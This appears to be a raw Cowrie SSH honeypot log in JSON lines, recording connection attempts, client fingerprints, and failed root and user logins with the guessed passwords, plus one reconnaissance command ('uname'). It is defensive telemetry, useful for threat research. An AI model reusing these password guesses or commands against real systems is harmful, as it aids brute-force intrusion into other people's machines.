["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:01.271508Z","src_ip":"2.57.121.25","session":"e5d30028f291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dominica","message":"login attempt [user/dominica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:01.754176Z","src_ip":"2.57.121.25","session":"e5d30028f291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dkflbvbhjdbx","message":"login attempt [user/dkflbvbhjdbx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:02.863063Z","src_ip":"2.57.121.25","session":"e5d30028f291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"develop","message":"login attempt [user/develop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:03.969343Z","src_ip":"2.57.121.25","session":"e5d30028f291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"delphin","message":"login attempt [user/delphin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:05.074521Z","src_ip":"2.57.121.25","session":"e5d30028f291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"delivery","message":"login attempt [user/delivery] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:06.180946Z","src_ip":"2.57.121.25","session":"e5d30028f291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:07.286248Z","src_ip":"2.57.121.25","session":"e5d30028f291","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:10.397003Z","src_ip":"47.86.95.62","session":"626ab95ea93f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:10.400485Z","src_ip":"47.86.95.62","session":"626ab95ea93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":59126,"dst_ip":"159.203.135.109","dst_port":22,"session":"83863a38466a","protocol":"ssh","message":"New connection: 61.222.211.114:59126 (159.203.135.109:22) [session: 83863a38466a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:10.665404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:10.669842Z","src_ip":"61.222.211.114","session":"83863a38466a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:10.880956Z","src_ip":"61.222.211.114","session":"83863a38466a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2006","message":"login attempt [root/2006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:11.761487Z","src_ip":"61.222.211.114","session":"83863a38466a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:12.976330Z","src_ip":"61.222.211.114","session":"83863a38466a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":53004,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6d622f24a7b","protocol":"ssh","message":"New connection: 43.153.27.162:53004 (10.17.0.5:22) [session: d6d622f24a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:18.032503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:18.037256Z","src_ip":"43.153.27.162","session":"d6d622f24a7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:18.105705Z","src_ip":"43.153.27.162","session":"d6d622f24a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fender","message":"login attempt [root/fender] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:18.412754Z","src_ip":"43.153.27.162","session":"d6d622f24a7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:19.485757Z","src_ip":"43.153.27.162","session":"d6d622f24a7b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"9.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:19.531580Z","src_ip":"47.86.95.62","session":"626ab95ea93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37944,"dst_ip":"10.17.0.5","dst_port":22,"session":"094a9a3b5725","protocol":"ssh","message":"New connection: 47.86.95.62:37944 (10.17.0.5:22) [session: 094a9a3b5725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:44.264391Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":17772,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba1765fb2d02","protocol":"ssh","message":"New connection: 118.26.36.248:17772 (159.203.135.109:22) [session: ba1765fb2d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:46.769845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:46.774472Z","src_ip":"118.26.36.248","session":"ba1765fb2d02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:46.993958Z","src_ip":"118.26.36.248","session":"ba1765fb2d02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skilled","message":"login attempt [root/skilled] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:47.905173Z","src_ip":"118.26.36.248","session":"ba1765fb2d02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:19:49.130436Z","src_ip":"118.26.36.248","session":"ba1765fb2d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":45996,"dst_ip":"159.203.135.109","dst_port":22,"session":"84e29bea2134","protocol":"ssh","message":"New connection: 31.59.89.180:45996 (159.203.135.109:22) [session: 84e29bea2134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:07.968436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:07.976673Z","src_ip":"31.59.89.180","session":"84e29bea2134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:08.092053Z","src_ip":"31.59.89.180","session":"84e29bea2134","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marlboro","message":"login attempt [root/marlboro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:08.574858Z","src_ip":"31.59.89.180","session":"84e29bea2134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:09.692127Z","src_ip":"31.59.89.180","session":"84e29bea2134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"136.6","message":"Connection lost after 136.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:17.974212Z","src_ip":"47.86.95.62","session":"626ab95ea93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":43856,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd8ab028ce3b","protocol":"ssh","message":"New connection: 20.12.41.6:43856 (10.17.0.5:22) [session: fd8ab028ce3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:20.831409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:20.836842Z","src_ip":"20.12.41.6","session":"fd8ab028ce3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:20.852527Z","src_ip":"20.12.41.6","session":"fd8ab028ce3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135555","message":"login attempt [root/135555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:20.942499Z","src_ip":"20.12.41.6","session":"fd8ab028ce3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:21.960330Z","src_ip":"20.12.41.6","session":"fd8ab028ce3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":41206,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b2375d626a4","protocol":"ssh","message":"New connection: 209.99.184.143:41206 (159.203.135.109:22) [session: 8b2375d626a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:29.346842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:29.353351Z","src_ip":"209.99.184.143","session":"8b2375d626a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:29.450299Z","src_ip":"209.99.184.143","session":"8b2375d626a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dh123456","message":"login attempt [root/dh123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:29.983419Z","src_ip":"209.99.184.143","session":"8b2375d626a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":60404,"dst_ip":"10.17.0.5","dst_port":22,"session":"09a46046ef90","protocol":"ssh","message":"New connection: 47.86.95.62:60404 (10.17.0.5:22) [session: 09a46046ef90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:30.860245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:30.867141Z","src_ip":"47.86.95.62","session":"09a46046ef90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:31.079687Z","src_ip":"209.99.184.143","session":"8b2375d626a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":56804,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b5cb6ec517b","protocol":"ssh","message":"New connection: 43.153.27.162:56804 (10.17.0.5:22) [session: 3b5cb6ec517b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:34.579827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:34.585067Z","src_ip":"43.153.27.162","session":"3b5cb6ec517b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:34.654138Z","src_ip":"43.153.27.162","session":"3b5cb6ec517b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vodafone","message":"login attempt [root/vodafone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:34.964523Z","src_ip":"43.153.27.162","session":"3b5cb6ec517b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:36.036843Z","src_ip":"43.153.27.162","session":"3b5cb6ec517b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":34066,"dst_ip":"159.203.135.109","dst_port":22,"session":"b53d9b55bfbf","protocol":"ssh","message":"New connection: 61.222.211.114:34066 (159.203.135.109:22) [session: b53d9b55bfbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:20:40.771302Z"}
